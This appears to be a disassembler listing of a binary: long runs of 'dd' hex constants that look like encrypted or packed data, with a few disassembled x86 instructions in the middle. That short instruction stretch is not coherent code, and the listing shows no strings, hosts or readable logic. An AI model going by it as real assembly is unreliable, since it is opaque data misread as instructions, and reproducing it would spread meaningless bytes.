dd 0DBD95E07h, 0E1A6AAF7h, 0BA4301B0h, 0B6A29BB5h, 386FC0B4h dd 0DD1A7718h, 0EF096C8h, 6EFFF829h, 0A14AD9A0h, 0E20CEBD0h dd 58119046h, 1697C41h, 0C8059E7Ah, 20CD93A1h, 9AE424D8h dd 76949D00h, 0E039110Ah, 0D4C715E6h, 6176F0FEh, 0BF57B8B8h dd 82AF308Dh, 0E0DF473Ah, 0AFC3B120h, 0BB950526h, 1F352E4Ah dd 9D9B3BACh, 98C338C9h, 0E17D6115h, 54270ABCh, 48E88E6h dd 0D372048h, 8B8DCFh, 34BEAFDBh, 948C30BCh, 0E2185660h dd 0CFADA476h, 18D83240h, 330DF6Dh, 447749DBh, 3920D8FAh dd 0A46032F9h, 0F13BB408h, 73BB3575h, 0FA080E20h, 0D9F85D60h dd 0D5603676h, 0A7A56119h, 0BBC2007Ch, 0FEAA3BD0h, 790FCA60h dd 0D8FA76D8h, 92E4B28h, 619BE5FDh, 8E07C08h, 3B0FF563h dd 536D01F4h, 9880A322h, 8D2554DFh, 0E628FDBBh, 6C54E856h dd 0F622F084h, 305948DAh, 358DC16h, 0AFBBADEDh, 100A49EFh dd 28EE3D1Ah, 4CF070F8h, 20577CA1h, 0A22A6784h, 0CA02B8CFh dd 0E6DB9505h, 4878C1D1h, 75FD020h, 0BA2EB88h, 0D3FBD19Ch dd 0C8806AB3h, 1D38F18Eh, 4047780Fh, 0BA71C4CDh, 0D8005FD5h dd 36FA052Ah, 8F0A1Fh, 4CEBBFCh, 4A19C9A2h, 0C4D2F01h dd 963A7AA6h, 40643820h, 0AB12AD08h, 7C0FEEAFh, 0CC8952h dd 0D75B3198h, 0AC3F00FBh, 51306B6Fh, 0E40FCFDCh, 4D527EE8h dd 1C0128B7h, 183460B6h, 0FD90146h, 0C50EC2A8h, 4AD06025h dd 82382C48h, 15B1D53h, 208D9734h, 6C74CF97h, 8E6FC402h dd 4BF6F5D0h, 4025F29Ch, 49D6D374h, 9C26E4B9h, 0AD450804h dd 4000F012h, 0B227A50Eh, 4D3890C4h, 5D240CE7h, 0DCE0B0DCh dd 0FD287665h, 8453BCDBh, 0BB7400ECh, 1C724FCFh, 954619E3h dd 0C4DEA814h, 0D1FED355h, 4C26D8A4h, 0B34468BCh, 746018C7h dd 6CA93DAh, 0DF52D53Bh, 61E398E2h, 2512098h, 40D4D050h dd 0F1B46706h, 60311Fh, 76D7108Fh, 7833B0C9h, 79A05450h dd 6DDA6305h, 0AEC45B45h, 61562C80h, 9CBB00D5h, 0E50ECC25h dd 0DC1E58CAh, 2D4A74B6h, 0B1C0B0BCh, 48D5AF23h, 0D904F8B3h dd 0D07C7667h, 8A488618h, 0B20E3Eh, 0C2961DF8h, 0C50DDEh dd 0C878FAD0h, 51DA572Fh, 0CAFA947Eh, 0D9F5ED00h, 3393BB4Bh dd 528C00AEh, 3770B20Ah, 0A3006F5Eh, 0A1AA906Ah, 7CD6DCBAh dd 7450986Eh, 49DF0EEAh, 0CA89342Bh, 0AE616C0Fh, 0B1DA01D8h dd 897B2810h, 33D7FA03h, 1878CED9h, 342F470Fh, 0DB8C0358h dd 8A08010Bh, 33BDAEDAh, 938BFCBBh, 90B65531h, 0D7077CE2h dd 9AB481A6h, 0D0428FCEh dd 0EBDF80C3h, 73EA7Fh, 0B2D9F6DEh, 0DD803181h, 0D015751Bh dd 5B778970h, 1186DAE1h, 0B9394649h, 0B1F67237h, 93A491C0h dd 264900E5h, 0D6C64676h, 51146D40h, 98D1C5h, 0AA448F43h dd 39DD66C4h, 0AF33C762h, 0AE88B240h, 0A805EA37h, 0ED69B0F5h dd 48A310C3h, 61061438h, 78248AD2h, 0BB2BE700h, 0D437DD1Dh dd 93A3012Fh, 354F31EEh, 5C9182DBh, 81B06B8Ah, 8928D48Ch dd 5796E0E3h, 392B00E9h, 0D613A647h, 5B1CECE5h, 4684BB26h dd 0D20F68D5h, 0D8DB8Ah, 528B0656h, 6F782384h, 4662B606h dd 1828CB91h, 7055F551h, 65EA4BF3h, 9D40A107h, 1E3BE86h dd 0BFC000D2h, 4731E5F6h, 0AE0F12ABh, 6D9F3EDh, 0A0AD2Dh dd 0F77DB2DFh, 0D814CFDDh, 0A4D7202Ah, 0F3FE6700h, 0CA5E28E2h dd 7EC0A8E8h, 734C0EBBh, 0CE60B302h, 0C39BB26Eh, 4100F873h dd 0DB27D6ECh, 335314AEh, 9FA07DE2h, 0F915C199h, 64913049h dd 0BCD73924h, 2F808900h, 0C0BA5776h, 93C49960h, 3090960Bh dd 0CF085562h, 0E0ACA3DDh, 0A0ACE29Eh, 59E5F864h, 9C8300E7h dd 780CEEC9h, 5B005D57h, 93EF24A0h, 0CCEA3E47h, 0BD388A40h dd 0E6BA8B07h, 0BC4A965Ch, 20E7420Ch, 0EC7658FAh, 0AC4CAF09h dd 0FB5BA420h, 2B0089D8h, 9C8BF324h, 48B24B6Bh, 4A1070D4h dd 19D3B69h, 51968A67h, 0BC418097h, 0A8224CEFh, 0D1A6581Bh dd 1D52C00Ah, 100E845h, 0D4D8ABCDh, 6177F2FDh, 0C1523060h dd 0DE0020F4h, 4DEE8C00h, 92FEC71Ah, 7F5118E6h, 0F96F609Eh dd 4E827414h, 0E5007D9Ch, 101CBB23h, 10E0CE88h, 0F1801C6h dd 20AEAAB2h, 478AE907h, 4B07230h, 0C3DF575Fh, 36848079h dd 58CF167Ch, 1BEB007Ah, 6E015303h, 0DE88FDh, 9D75EAD7h dd 2203C17Ch, 3AACA1CBh, 9E000C0h, 0B1DC98F5h, 0AA615B51h dd 5D69DF48h, 278E046h, 75E2CDCBh, 0E8C015DCh, 0C860C1D2h dd 0BA9BE728h, 514C0431h, 8870A858h, 4A01387Ch, 75D86CAEh dd 389307F7h, 0B65C0147h, 20AC8AF3h, 1A2AC8DCh, 0E705741Ch dd 6B885D59h, 10C48C10h, 0BE8AD9F9h, 0F8D50CC0h, 0A901E7D8h dd 519DDC5Fh, 0CC203868h, 0BA860371h, 0B7D845E2h, 0DB693864h dd 0C979083h, 0D458F748h, 0C32A5160h, 4F38C877h, 50D6A075h dd 824DE8F8h, 0CC7F640Fh, 0F920D757h, 81C0354Ch, 6F30BA52h dd 1EA8A0A4h, 2FAE00ACh, 2899A650h, 0ADE55318h, 28510378h dd 0DC55C2h, 93B6B9BAh, 0CB7DFA9Ah, 0D9582F00h, 0A7E7F495h dd 0F9850ED4h, 409F89E5h, 49EE60C8h, 4AB0D0DFh, 247AB51Ch dd 461BB56h, 0D030D2B4h, 10E86017h, 2A4AE5D5h, 5DB67107h dd 0ECD04EEFh, 0CD1B7D4h, 0D55347B3h, 40ADC28h, 0E865C7D2h dd 0A02404A6h, 0D3016410h, 0EE6D5566h, 42C449F6h, 49004AF8h dd 2C1ADC85h, 0A40377h, 4FE63F5Eh, 59CE6091h, 4709D053h dd 7C8080ACh, 2C497BB1h, 0D3BA5CA0h, 970250B1h, 400D9394h dd 50B152B8h, 7B03AC3Ah, 3775F831h, 8728D13Bh, 7C01CB84h dd 409ABAD3h, 94034920h, 2ECDA3Bh, 0D491B986h, 0F4BCC093h dd 8400821Eh, 23E02EEBh, 0D2240E7Ch, 0D608FC9Ah, 0D5CC0EAFh dd 696D1CA1h, 5E73F0EAh, 4AEED8A0h, 8ABD0307h, 0D4C35D7Dh dd 866FD0C7h, 0C9E400EFh, 2CA46A28h, 0FC005ABBh, 4E64D49h dd 907994F3h, 0E5113F68h, 0E76E4203h, 93B3C303h, 9EE071CDh dd 99C464C8h, 0D0936C2Ch, 0F830528Eh, 0C895DE0h, 7FBA24Fh dd 0EA4C4C90h, 3E975866h, 81E16F7Ah, 6490B910h, 0A4302F61h dd 2D490384h, 6FBCB29Ch, 12516CC0h, 0E030C567h, 0D4CD7EB3h dd 0F7EDB890h, 809764D9h, 26840B0Dh, 8A884h, 99BA9425h dd 0B1BD02Dh, 8856D0A1h, 9D787AA9h, 0D8810058h, 8DAEA002h dd 5E284A60h, 0FE917A50h, 76461942h, 40B0F8D6h, 0AA52DBE4h dd 2F4C741h, 81E8A8FDh, 1450E936h, 92F52547h, 1497421Ch dd 85A42849h, 585D22B0h, 0EC2B20Fh, 875D24DCh, 2EC82CC8h dd 0C62052F9h, 7CF6413Ah, 1630DD4Ch, 407118Ch, 32318A08h dd 108277C9h, 9766513Ah, 3835A082h, 0E5006446h, 0C9AE29DCh dd 0A4A4645Dh, 3FECFA08h, 38607451h, 778B9A1h, 0F21D8CA1h dd 0F5189E8Dh, 14B88138h, 0EDB75E29h, 9BADB080h, 9FDC3981h dd 0A87CB92Ah, 0DBA91301h, 0CBAAABFEh, 1354AC30h, 53BA8C24h dd 0CE3804B4h, 0F310FDAh, 0E16F0FF5h, 0AFB186CFh, 0EDF3D4h dd 0E4067B50h, 718B5DDAh, 52044F00h, 0CDFF3F86h, 89DE0241h dd 25E44644h, 4A1C49Ah, 20D04E5Ch, 0D2166398h, 309728h dd 0A83D7852h, 7C58FCh, 8799D094h, 0EC9F74E7h, 575CD8C0h dd 3F96458Eh, 8C3D646Fh, 0B518521Ch, 244C048h, 2806FED4h dd 0A4B57633h, 0E6A0A838h, 0D90917D2h, 0FEEC20DEh, 0A44869D5h dd 782EC00Ch, 5F22551h, 45FA6E3Ah, 23890B2h, 8805CB7Eh dd 13A97623h, 56C9E400h, 0C32A3651h, 477902B8h, 743483C1h dd 0D5017DE0h, 8ADEDF66h, 6BC80233h, 7431E893h, 0C9A135C3h dd 19100879h, 0DB00742Ch, 9F263EFAh, 326A7252h, 3328508Ah dd 604EB0C2h, 0C42C2A58h, 3003274h, 0F5F039B3h, 61FB9A31h dd 0EF0373AFh, 5ECCC8DCh, 85705448h, 94C383E9h, 0D2080BE5h dd 0D818E06Ch, 45F4A17Fh, 0DBBFB61Eh, 99081C2Ch, 9BB40F0Ah dd 0E628E90Ch, 2C20DC4Bh, 12D57CDEh, 85F22FCFh, 0C8888470h dd 0A47D5290h, 8208089Bh, 51E8027Ah, 9848B64Ch, 0AF0061F0h dd 0EACBBAC2h, 62076CDh, 8451545Bh, 0C39D30A4h, 0AB17654h dd 0A34BD9FAh, 0E123EB4h, 0D068406Ch, 3AB6F903h, 0EDE3C600h dd 144594F2h, 895E002Ch, 7231DC8Bh, 5C78E978h, 1E9BFC07h dd 80A9A5F9h, 57D142A4h, 60EF60A3h, 75A40A7Bh, 0C4EBB92Ah dd 5BD4800h, 0C7BA90D1h, 0B8B1F7Eh, 0D8780712h, 36922071h dd 2604AD65h, 0CE17638h, 91802082h, 0F4306FC0h, 410924Bh dd 3347BDE0h, 0DAA4B49Eh, 7BEFD38h, 740DCF86h, 3B084A66h dd 0B298EAE8h, 0B88348DBh, 83EF2A3Fh, 7E753D87h, 0E5682402h dd 0FC212Ch, 0B3A08AB4h, 0CCA0EA99h, 920ADBE0h, 0C80A3FCFh dd 4319B690h, 717620E1h, 32608136h, 4B02B264h, 4B33DCF0h dd 13F425B6h, 27D801DEh, 30C98A89h, 46174BA8h, 0AC49234Eh dd 0F9E44B22h, 0B430AB53h, 1D72EC8h, 0DB187CE8h, 0FCA09657h dd 0F8EC80D1h, 0E83341Fh, 5844D3D6h, 4401B545h, 24F01F53h dd 0E6127D40h, 0CC81DF4Dh, 8425A90Fh, 15624040h, 0D8DD2E05h dd 49D9007Fh, 61E9523Dh, 8BE01970h, 4C240C3Ch, 8110610Ah dd 0AB804C7h, 9C3C871Fh, 0B8BB98Bh, 38860FC0h, 0FF1C1C5Fh dd 34DF1C77h, 515907F0h, 81E11489h, 833321C1h, 6400870Ch dd 8952565Ch, 84C281E2h, 22EA8332h, 0F3FC0F14h, 9F3E108Fh dd 0B573E1Ch, 80B951E7h, 81474C31h, 340B8E9h, 860F0C93h dd 0BF7C99A4h, 0B8D76800h, 59CF013Ah, 0CCD0DE83h, 5A224CD3h dd 64EE8037h, 6231352Ch, 93301004h, 0F0015B00h, 81D4C58Bh dd 685503C4h, 0A3047F4h, 0DEBE1C89h, 7E300E78h, 320EE81h dd 0E94E0F37h, 299EED31h, 0E5CC242Ch, 0A850F653h, 78F701B9h dd 6CF3285Eh, 0ACD97338h, 622EFE9Ch, 5DE82F92h, 0FE51D981h dd 0FC59C5FFh, 90AA3EB7h, 4EC6D10Fh, 0BD501CE0h, 0EF2B0121h dd 0C100E15Dh, 0E94302EBh, 2455679Ah, 8CE68E8Fh, 80073CCEh dd 0D3F6CAF3h, 0C05EEB53h, 396628C3h, 0E98CB252h, 0F73682A2h dd 0EF81D701h, 27423D0Bh, 1F0A1920h, 9F1DC90Dh, 6D80B9DFh dd 0E98CD7A9h, 36CE51ACh dd 1553C558h, 0DB8A544h, 74FFA058h, 5F3904E6h, 0E958D08Fh dd 9AD01C31h, 6C53BE56h, 89C8E9F3h, 3D2D9453h, 79AA56BFh dd 1178483h, 0BA525EF5h, 41AD1865h, 496FBCh, 48504059h dd 58004EFFh, 2BC0B205h, 0ED0081F9h, 109043EFh, 5050C501h dd 35E908B8h, 643E9B77h, 3189070Dh, 57092CFAh, 5C2FBF02h dd 834F4737h, 9778C490h, 0D1E902CFh, 47D493Ah, 14BAF7ABh dd 29C0E255h, 5C6AE9EFh, 0D9020DA1h, 0E539203Eh, 5B794203h dd 3DDF763h, 0AB7D0CB4h, 0F0004D54h, 493A2AF5h, 145AD531h dd 568CFDE9h, 3EFC10Ah, 15013E2h, 0FB0113B3h, 80AA215Fh dd 0EBD14B6Dh, 751EC381h, 1C7013Dh, 0EC835BDDh, 0C6C2104h dd 0D798E9DBh, 0AD66BC80h, 0F52573Ah, 77033BAh, 81B1DAF7h dd 8F20B5EAh, 9F6D3783h, 0E951E062h, 3AC2F9B8h, 80ED8857h dd 0B16EFAF4h, 1AA9015h, 0B41964F6h, 835EF201h, 2105A81Eh dd 75C6F84Ah, 29A1301Fh, 2C2EED2Ah, 66206E90h, 5D543E9Ah dd 21A6C5A9h, 0C0871806h, 0F16EE7E9h, 0CD0AA47Eh, 2BEB8290h dd 148B2466h, 291FFh, 6562BB53h, 0CF71178h, 7185E9DBh dd 801A0F1Ah, 4040EC6Ch, 3AF24240h, 8989336h, 0BBBE2229h dd 71C54718h, 3B2709B8h, 0F63D678Dh, 0C4585F09h, 535E6B02h dd 4DB9C282h, 683090Fh, 7AE8132h, 0C867F20h, 0F29A9D01h dd 17040AA9h, 1516126Ch, 0FE10DE13h, 0D750739Ah, 9541AEFFh dd 0E0C9B5F4h, 0F5904EBh, 0C18DC0B6h, 24DA68BFh, 879A89D4h dd 8ECC812Ah, 78E54720h, 6F200C05h, 0C0545067h, 0EBF5F763h dd 1E06E14Fh, 65A6C088h, 0FF83BF37h, 0AC2813D1h, 3E840466h dd 4C681407h, 511012FBh, 0DCB600Ch, 5DEA2C01h, 8852C412h dd 119B5A36h, 0AFCF3F26h, 8931F968h, 74541B60h, 0A6E29B8Bh dd 620E2422h, 724259CBh, 889E090Ch, 985D5640h, 0BAD46194h dd 515A810Fh, 20D0F7B1h, 1E7F9DB0h, 0F38B5509h, 0B1228389h dd 0EFB6E861h, 1FCE3180h, 7457836h, 0E521C693h, 8853F903h dd 5BF890F7h, 0CD89065Ah, 72EE0159h, 3048E130h, 0F005EDC0h dd 5F7849C5h, 6F34EC21h, 6809B5CAh, 8AA35347h, 36422EB0h dd 0C42F4D10h, 0B60632C5h, 0B40E96F9h, 0A104EEC0h, 37B151DEh dd 0E21E9ECh, 0FE59CE20h, 0C13D2679h, 5EFE43F0h, 0F8044101h dd 2803B753h, 0D886D0B9h, 0AB0F9B68h, 0FEB6A3A1h, 2F371C82h dd 0E6E45607h, 4A448784h, 6601800Dh, 0E44C16B9h, 13D46732h dd 1AC82656h, 330A9C1Fh, 483ACCCBh, 63E04D06h, 64085C0Dh dd 40202608h, 0C580D586h, 7DEF9067h, 0E1F935AFh, 660D601Ah dd 8BE6F329h, 0C0FD3449h, 68C0B70Fh, 0E9CEA9AFh, 0A8E7CC5h dd 83E6465Fh, 0FF824363h, 0DBF1A041h, 88DEE10h, 8B0F4B03h dd 0E018FA1h, 9D685157h, 0C0606A01h, 4F0C6447h, 2CCAC05Ah dd 39416CB6h, 0A554F035h, 2EC4C194h, 0FD444D1Eh, 10C3335Fh dd 0D066631h, 8481C85Ch, 0F6B66156h, 839FBF2Fh, 0BF5E5720h dd 0C140CC3Ch, 0B007E831h, 35000ED7h, 8D024EFAh, 58C7893Fh dd 2654424Fh, 0FB55AD6h, 0B74E9808h, 95E629A5h, 682DC006h dd 7913D45h, 53E29EB9h, 953140C0h, 5DE95B27h, 8100480Bh dd 14679AF2h, 41EF527Fh, 3154EAC5h, 0C8D0AC9Ah, 0C4648950h dd 0D3F86ABFh, 3087EDE0h, 0E82806C5h, 108DCFA1h, 0F2FA885Ah dd 20FCBAB5h, 2A340C33h, 0D01E2396h, 0A95B570Bh, 2420459h dd 83900A5Fh, 0CAD59DBBh, 8132FBBh, 878904EBh, 894F911Ch dd 3A386188h, 0E6C8210Eh, 5ED4A71h, 0FD31E5EFh, 0AD00C112h dd 7037DD30h, 0F807050h, 5165E384h, 4061630h, 317A4844h dd 700C84FEh, 393DE987h, 9AC38380h, 291507CBh, 0F3556C38h dd 0E73B2B75h, 6819F3F7h, 0E7D65917h, 54C7F434h, 581CAC42h dd 75D2062Eh, 32CD913Eh, 98A5BC13h, 38834357h, 418EB988h dd 231F3A68h, 0FDBA0000h, 2906331Eh, 215A13D3h, 73D414D8h dd 694C4094h, 40B4EB2Eh, 0DA1FE7E6h, 860F3B06h, 226F3430h dd 0EF7E0AC4h, 0C27642Eh, 0F1C3F700h, 5801B5DBh, 0A71048F9h dd 0CA881793h, 1FCE5608h, 5EED4A5Ch, 0F59938Ah, 4B44A763h dd 0F1D9D146h, 0C9EE61C6h, 0B45000E4h, 7FECF8DFh, 0C3F43FA3h dd 29CC11Ch, 6FF8E9E1h, 5C189A59h, 0B35A54EFh, 1680465h dd 0C22B277h, 101B1DE9h, 82307BBh, 0C0BE7174h, 29A5707Dh dd 78E9DE0Ah, 0EC86EC3Eh, 0E93B6602h, 129E8A65h, 0A08CEC5Eh dd 0CE12AECh, 24AD9413h, 150C364Eh, 7D6F72Ah, 24135A55h dd 8916507Fh, 0C03205E0h, 4C3A66BAh, 0C9106ED0h, 9D5B282Eh dd 0EF392398h, 39CF9DC7h, 2B8ACCBAh, 0C001EDFAh, 0C2FE05EAh dd 60A7FD70h, 0B850408Ah, 0A228584Eh, 573FE20h, 0E903E00Ah dd 5B85A9B2h, 0A400D101h, 0E506A5F1h, 0F02D3A74h, 8A76BA9Fh dd 50705C8h, 5610E2E9h, 1C6521EAh, 4EC704C8h, 0BBB00997h dd 0B1224968h, 0B05083A7h, 3081B186h, 582974C1h, 8F88B093h dd 0F9C245Eh, 7FCF572Dh, 0B2291364h, 6FBF0065h, 0C10D1556h dd 10276EFh, 2EE02CBEh, 86F7299Dh, 0D886E95Bh, 94587094h dd 5F4808D0h, 2598BB01h, 2FE83E1Dh, 396B9ADAh, 0EA9EFEC2h dd 0CF07CC0Fh, 0E307C116h, 56DBF708h, 0FACAB2h, 0B94CC2BDh dd 64D533Fh, 3EDC1DDh, 0F581030Ah, 42F85E0Dh, 0BE96B0B7h dd 2904BB3Ch, 0CF215DE9h, 2B8AD9C4h, 67EE110h, 4F72880Fh dd 0F48E3517h, 5315286Eh, 6787BB00h, 0D3F70776h, 43F30681h dd 0AADB0DF9h, 0A484E92Eh, 16EE83BEh, 326DA048h, 0F743010Ch dd 54267A41h, 9A17E287h, 4B494E0Ch, 6C463114h, 2C2206h dd 72C122EAh, 2458C289h, 123D631h, 126BA0CEh, 0CD0C811Eh dd 46085178h, 724B8680h, 5E9C2A5h, 0F60434EBh, 0E6C0BA0Bh dd 0C684A204h, 124009EDh, 0D654E7E9h, 0A9828E6h, 719EB27h dd 217F899Bh, 0C9DAE92Bh, 759ECF50h, 0B86D1808h, 0E8310B9Ah dd 49048B4Bh, 0C3F35BC4h, 80555C84h, 0DC621627h, 0F5893100h dd 8E5C15Eh, 1DCD0781h, 60325714h, 74784DC5h, 2394067Fh dd 0A58BD08h, 32E9F328h, 0C0F7808Dh, 0C1B9E69Ch, 0F528C4E6h dd 59EEC05Ah, 1202B2A1h, 25A95066h, 0EE051BE9h, 0E0C27455h dd 0E148E88h, 48E20D11h, 0E89918D6h, 586A686Ah, 57C12962h dd 14582E9h, 0A446F75Bh, 0D1DB0E08h, 1B4181E3h, 201AFC64h dd 44071C20h, 28E910B8h, 595A39Bh, 0CC9CCB41h, 495048C6h dd 2858490Fh, 48160A10h, 133648D3h, 0A1234E5Fh, 0DAF6B04h dd 16948A3Ch, 582DE962h, 7468135Bh, 87EFC87Dh, 0BA20339Ah dd 215C0CE5h, 89E98BC1h, 37F1E75Ch, 6362ED2Bh, 0E1B4EB6Bh dd 15FC8103h, 889A12E7h, 0EA05C231h, 0C4940742h, 211B2225h dd 191EFEE4h, 43A37697h, 0ED2CAC4Ah, 847A73C1h, 59C83110h dd 751F5184h, 1C28558Ch, 285DE0B8h, 41A92784h, 24B93966h dd 0F24AECA2h, 0D4EF4614h, 255E8BB1h, 0E6405C35h, 63750CB8h dd 6FEAA113h, 70B459h, 54FB67FFh, 4A8A8A8Bh, 0D1E2C970h dd 4F217390h, 0D22C1C68h, 2E68686Ch, 0CB4247B1h, 0DA026912h dd 11E06D11h, 0ABA3E6C1h, 0B13863C8h, 19D135Ch, 0F2A52167h dd 85254AE9h, 0C1EFF821h, 4E290FADh, 530B969Eh, 2B8FC118h dd 584C321Ch, 14201507h, 0CD0C17C9h, 3CCB2521h, 0D247D49h dd 34FA4A13h, 0D4F38486h, 503BB3FFh, 2504A5EBh, 0EEC15F99h dd 0F2E6E880h, 0A12EB030h, 0BD640B10h, 6A68BAF8h, 962E56E3h dd 49125334h, 3B485CE7h dd 18C0F310h, 2F74EA81h, 2D0A7B84h, 0C7224A1Ah, 29039156h dd 1FB1EBDFh, 0B9FA099Bh, 0F1243AFh, 7590E06Ah, 2181C6B9h dd 0EB04A038h, 0B006291Ch, 9A59E951h, 0E5307550h, 0AAC9EF37h dd 48132C2Ch, 0CAC001E3h, 7029CCD4h, 0F3961DC9h, 530F0501h dd 0C7F07A44h, 9033E258h, 6316C0Ah, 64285C0Dh, 0C4F6CC88h dd 38C6E1C0h, 267A6071h, 20E3DE01h, 0EAE92608h, 5F9F41h dd 0F27C7BF7h, 8D150F17h, 18E45186h, 0C50B01F1h, 66588002h dd 9CC8851Fh, 42C3FDCCh, 24BD0055h, 0BB1DD20Eh, 0CE032FF2h dd 5DEB3125h, 1C21D8BAh, 0B8DAF038h, 28284A39h, 63450584h dd 79BF8451h, 244281E4h, 5BE7C1h, 0F4E638C7h, 5E9489EBh dd 256BB008h, 62E6E80Ah, 0EC660D0h, 559E58F0h, 7E3C001h dd 28D4B551h, 805902EBh, 0D98857F3h, 47B3D5E0h, 0DE29E91Ah dd 0F1FB912Eh, 9E598674h, 0C10F96DAh, 70D829B0h, 4682427Dh dd 3050188h, 29061E0Eh, 459D43C8h, 0B35AE737h, 6B8702A2h dd 7286FD46h, 0D0F71F08h, 64EA1295h, 95EFE295h, 7EF1835h dd 0D3ED914Dh, 4C1C8AB2h, 98275AF4h, 886D02C9h, 5A6D921h dd 803A200Ah, 124FD38Ch, 0DE8C065Ch, 2898B5F9h, 7CAC4505h dd 4FFB5E11h, 5834BE00h, 268F5036h, 10232047h, 0F97E505Fh dd 6CED021Eh, 40FB80DAh, 0F203AD1h, 0F901727Fh, 7908A81Fh dd 0B06998Bh, 0E8C8EC6Bh, 578064BAh, 1695EC52h, 91388670h dd 9330CBDFh, 3B95ED99h, 77ECBA8Dh, 1B07926Dh, 4D9F7F1h dd 0C6377602h, 4089D7B1h, 0BC3B9D5h, 311A3F2Fh, 6FE938E0h dd 19031719h, 847C1A9h, 0E4157DD2h, 1BBE0EE9h, 348170B0h dd 20CC5629h, 54E75BB5h, 381BA1DCh, 5C06B1EAh, 521AC804h dd 0FE20B29Ah, 9B5198F5h, 7F38BA75h, 0D852C81Bh, 0D4B3F4Bh dd 0C7FE81EFh, 33C10E53h, 62B6FE40h, 1A3A4D5Dh, 0E164445Bh dd 0F01D1E5Ah, 0CD1235CAh, 5E85E39Fh, 2DC023D2h, 4C711058h dd 8840817Bh, 84590CC7h, 357CEFD3h, 559259B9h, 0AE7B2C09h dd 2FDAD4B6h, 324F809Eh, 6201247Ch, 0D7F60930h, 0C0E0688h dd 0BE5146E9h, 999BC401h, 5EF22974h, 0B2DD7CDh, 93851126h dd 8CFDC521h, 0D968F221h, 9208156Ch, 0EAC0044Eh, 21908206h dd 0B3097DD9h, 0BF909D1h, 2D3AE05Fh, 6E0C1DECh, 56714222h dd 9D5802FCh, 64200783h, 30B893EBh, 0F5815D0Dh, 0ED95E603h dd 0ECA4E9BBh, 9D8102ACh, 69185866h, 0C16410BCh, 879A5A27h dd 0B4323B41h, 0A80BC437h, 1E12ED6h, 0C3285BD8h, 6F5A7041h dd 39456800h, 0D1B97954h, 0BF167360h, 502E7B0Eh, 3CCDA38h dd 0E9705A0Ch, 7A4CF2AFh, 0F38712D6h, 1056EC01h, 0D5E878A2h dd 6CE50381h, 683F340Ah, 301B7B48h, 0D587E42Ch, 2C06D44Ah dd 46A9EB07h, 4C5F5F7h, 1038674Bh, 0A9C02096h, 0CF32540Fh dd 0CD4C5451h, 6F372E68h, 0A66A30h, 48916A99h, 4EB238E9h dd 0D1425E94h, 6697A07h, 5A4025A4h, 75207D8Bh, 85D9F374h dd 7E0FC834h, 0C406F82h, 6D8CC63Dh, 719852DBh, 5A611F64h dd 17932AC0h, 1EE09094h, 0F4082454h, 0BDFA89D7h, 6856850Fh dd 0B5CD607Dh, 6A413678h, 6429276h, 0CDAB8731h, 4A02976h dd 2E6478F9h, 79593682h, 96E99E07h, 0EC93292Bh, 1FA2319Bh dd 29174052h, 72D59CFh, 80E7D660h, 0BE0BF281h, 8EA36590h dd 0B509306Dh, 258566FCh, 4D8C40BBh, 0D1F7CD87h, 5D515517h dd 7EED6000h, 2C2D6D3Dh, 11DFEE01h, 4FF60511h, 821D7F3Fh dd 0B72F7B82h, 5E2A6136h, 0D05C8774h, 0E6176ACFh, 59F94EBFh dd 962CD003h, 0AF904CFAh, 25936E9h, 0A49992E9h, 0E09312B9h dd 50C10B55h, 0B78F1FC8h, 0F3EBCC60h, 0B0A5A888h, 12EB9A9Fh dd 304BAB68h, 71CFE934h, 0D12C14B2h, 21676E5h, 454C8103h dd 830FF035h, 8183BC2Bh, 6C3E44F5h, 452E2007h, 0C05B5380h dd 0A538DD32h, 92C95929h, 0BF50103Ch, 7653F644h, 7F6C90D1h dd 740A1351h, 0F7A64021h, 4D30229Ah, 14CA294Dh, 8452241Bh dd 9AA351ADh, 410EE944h, 21F7F9FEh, 91788917h, 9A53642Bh db 0A0h, 12h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add [ebx], dl xchg eax, edi push 48412895h sub dword ptr [ebx], 0Dh xor ecx, 0CDDC1593h pop ecx and al, 57h push ecx jmp far ptr 0E973h:0EA696000h ; --------------------------------------------------------------------------- db 2Bh, 5Fh, 3Bh dd 82B6AC77h, 6A9800Dh, 0BA008677h, 184D0185h, 9A2DB5E9h dd 0F64F0FAAh, 0BB7C986h, 6AB0553Ch, 122674BAh, 30CAD3Ch dd 0D25C3275h, 7F46A3B7h, 8D02BD30h, 0D2012C6h, 0CE010365h dd 581164F8h, 106A8596h, 2180B920h, 3092D801h, 54565B12h dd 183D172h, 6C78F868h, 11C7C43Ch, 0FB534498h, 92968F60h dd 0C1592C00h, 850F03E0h, 0A300056Ah, 0D3B2F3F1h, 25CF8960h dd 87816EE9h, 0BD5DCD8Ah, 0E1A8708Ah, 552AEE87h, 1725F7F7h dd 0F0E9E476h, 2423965Bh, 57579E32h, 0AC1DC461h, 6C01C481h dd 0D29F8ED1h, 0EB81EABh, 0C64CF031h, 554C5708h, 24424F74h dd 69BEA7E9h, 0D730B686h, 68870C34h, 252174D1h, 0DFF72BC4h dd 0CC2B98C1h, 99005302h, 0C80A295h, 8F5AD389h, 840230FEh dd 5F3F3813h, 0E9BA9058h, 0CDF76CD0h, 87336812h, 49D26570h dd 2DD6A2B7h, 0C9723C7Bh, 6A560055h, 0A5DCE15h, 18E9C589h dd 1758BFAAh, 58128A93h, 10098BB2h, 0B4BD9FC5h, 0C08358D3h dd 5C80E896h, 6A2CD828h, 0F8B30053h, 0B4506651h, 0E5488890h dd 0B35C940Fh, 5C02B283h, 0E95C02A5h, 345644B3h, 1C60751h dd 3080C9FEh, 20F7C0CDh, 0DE4A4F8Ah, 663AC29Dh, 299D281Dh dd 0B741E81Dh, 0F8283FBCh, 88A4DC27h, 0D9CC81F5h, 0BCA08017h dd 0E96E3E09h, 225D6BD7h, 20061C8Dh, 8C9CE570h, 1E2E01BAh dd 0D8891B40h, 98030028h, 13FB804h, 76C300B5h, 0F73A8C4Eh dd 0ABE9D008h, 0F4301F8h, 81673E8Ah, 0EA2CB83h, 8EF06323h dd 9C9EE2h, 8E6C15Bh, 0D56072E9h, 25EEB938h, 69185939h dd 2D41617Dh, 0CCF4EB80h, 0BDB43EC3h, 0B50181E8h, 69C9E94Eh dd 0C7041125h, 0A8F46FB8h, 48E9A008h, 49BA3Fh, 64CE5B2Ah dd 95090558h, 52C13B02h, 5EC68956h, 0DBE9041Ah, 0D28D916Ah dd 9274FE42h, 0B8E05B29h, 307AB051h, 0E923D309h, 21C16FC8h dd 2E7738E7h, 9EFD0FC5h, 1F0FEFA6h, 0C0CF1C0Eh, 565FFD89h dd 741B84BEh, 0A8CC3C3Dh, 0E4780167h, 82D1B0F5h, 0E56E4008h dd 0AF5C1F9Eh, 